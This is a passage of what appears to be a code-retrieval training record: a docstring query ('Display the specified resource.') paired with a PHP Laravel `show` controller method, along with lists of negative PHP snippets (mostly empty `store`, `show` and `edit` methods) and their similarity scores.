}", "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "public function store()\n\t{\n\t\t\n\t\t//\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}" ]
[ "0.72865677", "0.7145327", "0.71325725", "0.6640912", "0.66209733", "0.65685713", "0.652643", "0.65095705", "0.64490104", "0.637569", "0.63736665", "0.63657933", "0.63657933", "0.63657933", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437" ]
0.0
-1
Display the specified resource.
public function show($id) { try { $guider = $this->guiderRepository->findGuider($id); return response()->json([ 'success' => true, 'data' => $guider, ]); } catch (ModelNotFoundException $e) { return response()->json([ 'success' => false, ], 404); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function show(Resource $resource)\n {\n // not available for now\n }", "public function show(Resource $resource)\n {\n //\n }", "function Display($resource_name, $cache_id = null, $compile_id = null)\n {\n $this->_smarty->display($resource_name, $cache_id, $compile_id);\n }", "private function showResourceable($resourceable)\n {\n save_resource_url();\n\n return $this->view('resources.create_edit')\n ->with('resource', $resourceable)\n ->with('photos', $resourceable->photos)\n ->with('videos', $resourceable->videos)\n ->with('documents', $resourceable->documents);\n }", "function display($resource_name, $cache_id = null, $compile_id = null) {\n\t\t$this->_getResourceInfo($resource_name); // Saves resource info to a Smarty class var for debugging\n\t\t$_t3_fetch_result = $this->fetch($resource_name, tx_smarty_div::getCacheID($cache_id), $compile_id);\n if ($this->debugging) { // Debugging will have been evaluated in fetch\n require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');\n $_t3_fetch_result .= smarty_core_display_debug_console(array(), $this);\n }\n\t\treturn $_t3_fetch_result;\n\t}", "public function show(ResourceSubject $resourceSubject)\n {\n //\n }", "public function show(ResourceManagement $resourcesManagement)\n {\n //\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function retrieve(Resource $resource);", "public function showResource($resouceable, $id)\n {\n $model_name = str_replace('-', ' ',ucwords($resouceable));\n $model_name = str_replace(' ', '',ucwords($model_name));\n\n $resource_type = 'App\\Models\\\\'.$model_name;\n $model = app($resource_type);\n $model = $model->find($id);\n\n return $this->showResourceable($model);\n }", "public function showAction(Ressource $ressource)\n {\n $deleteForm = $this->createDeleteForm($ressource);\n\n return $this->render('ressource/show.html.twig', array(\n 'ressource' => $ressource,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function show(Dispenser $dispenser)\n {\n //\n }", "public function show($id)\n {\n $resource = Resource::find($id);\n dd($resource);\n }", "public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module .\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}", "public function show(NebulaResource $resource, $item): View\n {\n $this->authorize('view', $item);\n\n return view('nebula::resources.show', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function resource(string $resource, string $controller): void\n {\n $base = $this->plural($resource);\n $entity = '/{'.$resource.'}';\n\n $this->app->get($base, $controller.'@index');\n $this->app->post($base, $controller.'@store');\n $this->app->get($base.$entity, $controller.'@show');\n $this->app->patch($base.$entity, $controller.'@update');\n $this->app->delete($base.$entity, $controller.'@destroy');\n }", "function displayCustom($resource_name, $cache_id = null, $compile_id = null)\n\t{\n\t return $this->display(DotbAutoLoader::existingCustomOne($resource_name), $cache_id, $compile_id);\n\t}", "public function show($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.show\")) {\n $view = \"admin.{$this->name}.show\";\n } else {\n $view = 'admin.includes.actions.show';\n }\n\n /* Displays the specified resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function show($id)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $rules = [\n 'id' => 'required|integer'\n ];\n\n $validator = Validator::make(['id' => $id], $rules);\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n $resource = $this->resourceRepository->fetchResource($id);\n $this->resourceRepository->storeView($id, $currentUser['id']);\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $this->resourceRepository->getResourcesRelatedTo($resource->id, $resource->mentoring_area_id)\n ];\n\n return APIHandler::response(1, \"Show Resource\", $data);\n }", "public function get(Resource $resource);", "public function showAction()\n {\n $model = $this->_getPhotoModel();\n $photo = $model->fetchEntry($this->getRequest()->getParam('id'));\n\n if (null === $photo) {\n return $this->_forward('notfound', 'error');\n }\n\n $this->view->auth = Zend_Auth::getInstance();\n $this->view->title = $photo->title;\n $this->view->photo = $photo;\n }", "public function show($id)\n {\n //\n $data=Resource::find($id);\n return view('resourceDetails',compact('data'));\n }", "function display() {\n\t\t$view = &$this->getView();\n\t\t$view->display();\n\t}", "public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }", "function show( $resource ){\n\n $where = \"reservation_status <> 'Pending' AND id = {$resource}\";\n $reservation = where( 'reservations', $where );\n $reservation = $reservation[0];\n\n return view('admin/reservation/preview_reservation', compact( 'reservation' ));\n}", "public function show()\n {\n if ($this->twig !== false) {\n $this->twigDefaultContext();\n if ($this->controller) {\n $this->controller->display($this->data);\n }\n echo $this->twig->render($this->twig_template, $this->data);\n } else {\n $filename = $this->findTemplatePath($this->template);\n require($filename);\n }\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function show(rc $rc)\n {\n //\n }", "public function show(Resolucion $resolucion)\n {\n //\n }", "public function showAction(furTexture $furTexture)\n {\n\n return $this->render('furtexture/show.html.twig', array(\n 'furTexture' => $furTexture,\n ));\n }", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show(Resena $resena)\n {\n }", "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function showAction() {\n $docId = $this->getParam('id');\n\n // TODO verify parameter\n\n $document = new Opus_Document($docId);\n\n $this->_helper->layout()->disableLayout();\n\n $this->view->doc = $document;\n $this->view->document = new Application_Util_DocumentAdapter($this->view, $document);\n }", "public function action_display()\r\n\t{\r\n\t\t$event = ORM::factory('event', array('id' => $this->request->param('id')));\r\n\t\r\n\t\tif ( ! $event->loaded())\r\n\t\t{\r\n\t\t\tNotices::error('event.view.not_found');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Can user view this event?\r\n\t\tif ( ! $this->user->can('event_view', array('event' => $event)))\r\n\t\t{\r\n\t\t\t// Error notification\r\n\t\t\tNotices::error('event.view.not_allowed');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Pass event data to the view class\r\n\t\t$this->view->event_data = $event;\r\n\t\t$this->view->user = $this->user;\r\n\t}", "public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n }\n }", "public function show(Resident $resident)\n {\n $this->authorize('admin.resident.show', $resident);\n\n // TODO your code goes here\n }", "public function display()\n {\n echo $this->getDisplay();\n $this->isDisplayed(true);\n }", "public function display()\n\t{\n\t\tparent::display();\n\t}", "public function get_resource();", "public function show()\n\t{\n\t\t\n\t}", "function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) {\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}", "public function viewResources()\n {\n $database = new Database();\n\n $resources = $database->getAllActiveResourcesNoLimit();\n\n\n $resourceArray = array();\n $i = 1;\n\n foreach ($resources as $resource) {\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n array_push($resourceArray, $availableResource);\n $i += 1;\n }\n $resourceSize = sizeof($resourceArray);\n $this->_f3->set('resourcesByActive', $resourceArray);\n $this->_f3->set('resourcesSize', $resourceSize);\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function show($id)\n {\n $this->title .= ' show';\n $this->one($id);\n }", "public function display($title = null)\n {\n echo $this->fetch($title);\n }", "public function display(){}", "public function show($id)\n\t{\n\t\t//\n\t\t//\n\t\n\t}", "public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Product ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found');\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}", "public function show($id)\n {\n // Get single person\n $person = Person::findOrFail($id);\n\n // Return single person as a resource\n return '<h1>Person Number '.$id.'</h1><br>'.json_encode(new PersonResource($person));\n }", "#[TODO] use self object?\n\tprotected function GET(ResourceObject $resource) {\n#[TODO]\t\tif ($resource->getMTime())\n#[TODO]\t\t\t$this->response->headers->set('Last-modified', gmdate('D, d M Y H:i:s ', $resource->getMTime()) . 'GMT');\n#[TODO]\t\tif ($resource->getCTime())\n#[TODO]\t\t\t$this->response->headers->set('Date', gmdate('D, d M Y H:i:s ', $resource->getCTime()) . 'GMT');\n\n\n#[TODO] handle file streams\n\t\t// get ranges\n#\t\t$ranges = WebDAV::getRanges($this->request, $this->response);\n\n\t\t// set the content of the response\n\t\tif ($resource instanceof ResourceDocument) {\n\t\t\t$this->response->content->set($resource->getContents());\n\t\t\t$this->response->content->setType($resource->getMIMEType());\n\t\t\t$this->response->content->encodeOnSubmit(true);\n\t\t}\n\t}", "public function display() {\n echo $this->render();\n }", "public function show($id)\n\t{\n\t//\n\t}", "public function show($id)\n\t{\n\t//\n\t}", "function Fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n return $this->_smarty->fetch($resource_name, $cache_id, $compile_id, $display);\n }", "public function show($id)\n {\n //\n $this->_show($id);\n }", "public function show()\n\t{\n\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {}", "static public function showCallback(O_Dao_Renderer_Show_Params $params) {\r\n\t\t/* @var $r R_Mdl_Resource */\r\n\t\t$r = $params->record();\r\n\t\t// Setting layout title\r\n\t\t$params->layout()->setTitle($r->getPageTitle());\r\n\r\n?><h1><?=$r->title?></h1><div id=\"resource\"><?\r\n\t\tif($r->getContent()) {\r\n\t\t\t// page has its own content -- show it\r\n\t\t\t$r->getContent()->show($params->layout(), \"content\");\r\n\t\t} else {\r\n\t\t\t// It is a post unit, show all childs\r\n\t\t\tif($r->is_unit == 1) {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"content\");\r\n\r\n\t\t\t// It is a folder with several units, show paginator\r\n\t\t\t} elseif($r->show_def == \"last-units\") {\r\n\t\t\t\tlist($type, $perpage) = explode(\":\", $r->show_def_params);\r\n\t\t\t\t/* @var $p O_Dao_Paginator */\r\n\t\t\t\t$p = $r->addQueryAccessChecks($r->getChilds())->test(\"is_unit\", 1)->getPaginator(array($r, \"getPageUrl\"), $perpage);\r\n\t\t\t\t$p->show($params->layout(), $type);\r\n\t\t\t// It is a folder with subfolders, boxes, contents. Show one childs level\r\n\t\t\t} else {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"on-parent-page\");\r\n\t\t\t}\r\n\r\n\t\t}\r\n?></div><?\r\n\t}", "public function show($id)\r\n\t{\r\n\t\t//\r\n\r\n\r\n\r\n\t}", "public function show($resourceId, $eventId)\n {\n $routes = $this->routes;\n\n $eventable = $this->getEventableRepository()->model()->findOrFail($resourceId);\n\n if (method_exists($eventable, 'events')) {\n $event = $eventable->events()->find($eventId);\n\n if ($event) {\n $apiObject = $this->event->findApiObject($event->api_id);\n\n return view('events.eventables.show', compact('routes', 'eventable', 'event', 'apiObject'));\n }\n }\n\n abort(404);\n }", "public abstract function display();", "abstract public function resource($resource);", "public function show($id)\r\r\n\t{\r\r\n\t\t//\r\r\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show(Response $response)\n {\n //\n }", "public function show()\n {\n return auth()->user()->getResource();\n }", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}" ]
[ "0.8233718", "0.8190437", "0.6828712", "0.64986944", "0.6495974", "0.6469629", "0.6462615", "0.6363665", "0.6311607", "0.62817234", "0.6218966", "0.6189695", "0.61804265", "0.6171014", "0.61371076", "0.61207956", "0.61067593", "0.6105954", "0.6094066", "0.6082806", "0.6045245", "0.60389996", "0.6016584", "0.598783", "0.5961788", "0.59606946", "0.5954321", "0.59295714", "0.59182066", "0.5904556", "0.59036547", "0.59036547", "0.59036547", "0.5891874", "0.58688277", "0.5868107", "0.58676815", "0.5851883", "0.58144855", "0.58124036", "0.58112013", "0.5803467", "0.58012545", "0.5791527", "0.57901084", "0.5781528", "0.5779676", "0.5757105", "0.5756208", "0.57561266", "0.57453394", "0.57435393", "0.57422745", "0.5736634", "0.5736634", "0.5730559", "0.57259274", "0.5724891", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5718969", "0.5713412", "0.57091093", "0.5706405", "0.57057405", "0.5704541", "0.5704152", "0.57026845", "0.57026845", "0.56981397", "0.5693083", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962" ]
0.0
-1
Show the form for editing the specified resource.
public function edit($id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function edit($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.edit\")) {\n $view = \"admin.{$this->name}.edit\";\n } else {\n $view = 'admin.includes.actions.edit';\n }\n\n /* Displays the edit resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function edit(NebulaResource $resource, $item): View\n {\n $this->authorize('update', $item);\n\n return view('nebula::resources.edit', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function edit() {\r\n $id = $this->api->getParam('id');\r\n\r\n if ($id) {\r\n $this->model->id = $id;\r\n $this->checkOwner();\r\n }\r\n $object = $this->model->find_by_id($id);\r\n\r\n $this->api->loadView('contact-form', array('row' => $object));\r\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function edit()\n {\n return view('hirmvc::edit');\n }", "public function editformAction(){\n\t\t$this->loadLayout();\n $this->renderLayout();\n\t}", "public function edit() {\n $id = $this->parent->urlPathParts[2];\n // pass name and id to view\n $data = $this->parent->getModel(\"fruits\")->select(\"select * from fruit_table where id = :id\", array(\":id\"=>$id));\n $this->getView(\"header\", array(\"pagename\"=>\"about\"));\n $this->getView(\"editForm\", $data);\n $this->getView(\"footer\");\n }", "public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}", "public function edit($id)\n {\n $model = $this->modelObj;\n $formObj = $model::findOrFail($id);\n $data['formObj'] = $formObj;\n return view($this->veiw_base . '.edit', $data);\n }", "public function createEditForm(Resourceperson $entity){\n \n $form = $this->createForm(new ResourcepersonType(), $entity, array(\n 'action' => $this->generateUrl('rsp_update', array('id' => $entity->getRpId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update','attr'=> array(\n 'class'=>'btn btn primary'\n )));\n\n return $form;\n }", "private function createEditForm(Resource $entity)\n {\n $form = $this->createForm(new ResourceType(), $entity, array(\n 'action' => $this->generateUrl('social_admin_resource_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => '保存','attr'=>[\n 'class'=>'btn btn-primary'\n ]));\n\n return $form;\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function editAction()\n {\n if ($form = $this->processForm()) {\n if ($this->useTabbedForms && method_exists($this, 'getSubject')) {\n $data = $this->getModel()->loadFirst();\n $subject = $this->getSubject($data);\n $this->setPageTitle(sprintf($this->_('Edit %s %s'), $this->getTopic(1), $subject));\n } else {\n $this->setPageTitle(sprintf($this->_('Edit %s'), $this->getTopic(1)));\n }\n $this->html[] = $form;\n }\n }", "public function edit($id)\n {\n $this->data['entity'] = GS_Form::where('id', $id)->firstOrFail();\n return view('admin.pages.forms.edit', $this->data);\n }", "public function edit($id)\n\t{\n\t\t// get the fbf_presenca\n\t\t$fbf_presenca = FbfPresenca::find($id);\n\n\t\t\n\t\t// show the edit form and pass the fbf_presenca\n\t\t$this->layout->content = View::make('fbf_presenca.edit')\n->with('fbf_presenca', $fbf_presenca);\n\t}", "public function edit($id)\n {\n $data = $this->model->find($id);\n\n return view('admin.backends.employee.form.edit',compact('data'));\n }", "public function edit($model, $form);", "function edit() {\n\t\tglobal $tpl;\n\n\t\t$form = $this->initForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}", "public function edit($id)\n\t{\n\t\t$faith = Faith::find($id);\n \n return view('faith.form')->with('faith', $faith);\n\n\t}", "public function edit()\n { \n return view('admin.control.edit');\n }", "public function edit(Form $form)\n {\n //\n }", "public function edit()\n {\n return view('common::edit');\n }", "public function edit($id)\n {\n $resource = (new AclResource())->AclResource;\n $roleResource = AclRole::where('role', $id)->get(['resource'])->toArray();\n $roleResource = Arr::pluck($roleResource, 'resource');\n return view('Admin.acl.role.form', [\n 'role' => $id,\n 'resource' => $resource,\n 'roleResource' => $roleResource,\n ]);\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\r\n {\r\n return view('petro::edit');\r\n }", "public function edit($id)\n {\n // show form edit user info\n }", "public function edit()\n {\n return view('escrow::edit');\n }", "public function edit($id)\n {\n $resource = ResourceManagement::find($id);\n\n $users = User::get();\n // Redirect to user list if updating user wasn't existed\n if ($resource == null || $resource->count() == 0) {\n return redirect()->intended('/resource-management');\n }\n\n return view('resources-mgmt/edit', ['resource' => $resource, 'users' => $users]);\n }", "public function edit()\n {\n return view('commonmodule::edit');\n }", "public function editAction()\n\t{\n\t\t$params = $this->data->getParams();\n\t\t$params = $this->valid->clearDataArr($params);\n\t\tif (isset($params['id']))\n\t\t{\n\t\t\t$this->employee->setFlag(true);\n\t\t}\n\t\tif (isset($_POST['submit']))\n\t\t{\n\t\t\t$action = $this->valid->clearDataArr($_POST);\n\t\t\t$this->employee->setDataArray($action);\n\t\t\theader('Location: ' . PATH . 'Employee/index/', true, 303);\n\t\t}\n\t\t$employee = $this->employee->setAction('edit');\n\t\t$this->view->addToReplace($employee);\n\t\t$this->listEmployee();\n\t\t$this->arrayToPrint();\n\t}", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit(form $form)\n {\n //\n }", "public function actionEdit($id) { }", "public function edit()\n {\n return view('admincp::edit');\n }", "public function edit()\n {\n return view('scaffold::edit');\n }", "public function edit($id)\n {\n $header = \"Edit\";\n\t\t$data = Penerbit::findOrFail($id);\n\t\treturn view('admin.penerbit.form', compact('data','header'));\n }", "public function edit()\n {\n return view('Person.edit');\n }", "public function edit($id)\n {\n $data = Form::find($id);\n return view('form.edit', compact('data'));\n }", "public function edit($id)\n\t{\n\t\t$career = $this->careers->findById($id);\n\t\treturn View::make('careers._form', array('career' => $career, 'exists' => true));\n\t}", "public function edit(Flight $exercise, FlightResource $resource)\n {\n return $this->viewMake('adm.smartcars.exercise-resources.edit')\n ->with('flight', $exercise)\n ->with('resource', $resource);\n }", "public function edit($id)\n\t{\n\t\t// get the material\n\t\t$material = Material::find($id);\n\n\t\t// show the edit form and pass the material\n\t\t$this->layout->content = View::make('material.edit')\n\t\t\t->with('material', $material);\n\t}", "public function edit($id, Request $request)\n {\n $formObj = $this->modelObj->find($id);\n\n if(!$formObj)\n {\n abort(404);\n } \n\n $data = array();\n $data['formObj'] = $formObj;\n $data['page_title'] = \"Edit \".$this->module;\n $data['buttonText'] = \"Update\";\n\n $data['action_url'] = $this->moduleRouteText.\".update\";\n $data['action_params'] = $formObj->id;\n $data['method'] = 